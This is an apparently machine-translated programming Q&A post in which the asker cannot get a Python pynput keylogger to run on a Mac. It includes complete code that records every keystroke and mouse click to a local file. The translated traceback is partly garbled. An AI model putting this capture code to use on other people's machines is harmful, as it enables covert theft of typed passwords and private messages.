0

我在 Windows 计算机上设计了一个键盘记录器,但是当我将它移到我的个人 Mac 上时,代码停止工作。通过 pip install 我似乎已经成功下载了 pynput,但是当我运行代码时,我收到错误消息: Traceback (most recent call last):File "/Users/Ben/Desktop/CODE/key_logger.py", line 6, in从 pynput 导入键盘 ModuleNotFoundError:没有名为“pynput”的模块

keys = []

import threading
from threading import Thread

from pynput import keyboard

from pynput import mouse


def on_press(key):
    f = open('keylog.txt','a+')
    keys.append(key)
    f.write(str(key) + " ")
    yes = True
    f.close()

def on_click(x, y, button, pressed):
    f = open('keylog.txt','a+')
    keys.append(('{0} at {1}'.format('Pressed',(x,y))))
    f.write(str(('{0} at {1}'.format('Pressed',(x,y)))))
    f.close()


def func1():
    with keyboard.Listener(on_press = on_press) as listener:
        listener.join()

def func2():
    with mouse.Listener(on_click=on_click) as listener1:
        listener1.join()


if __name__ == '__main__':
    Thread(target=func1).start()
    Thread(target=func2).start()
4

0 回答 0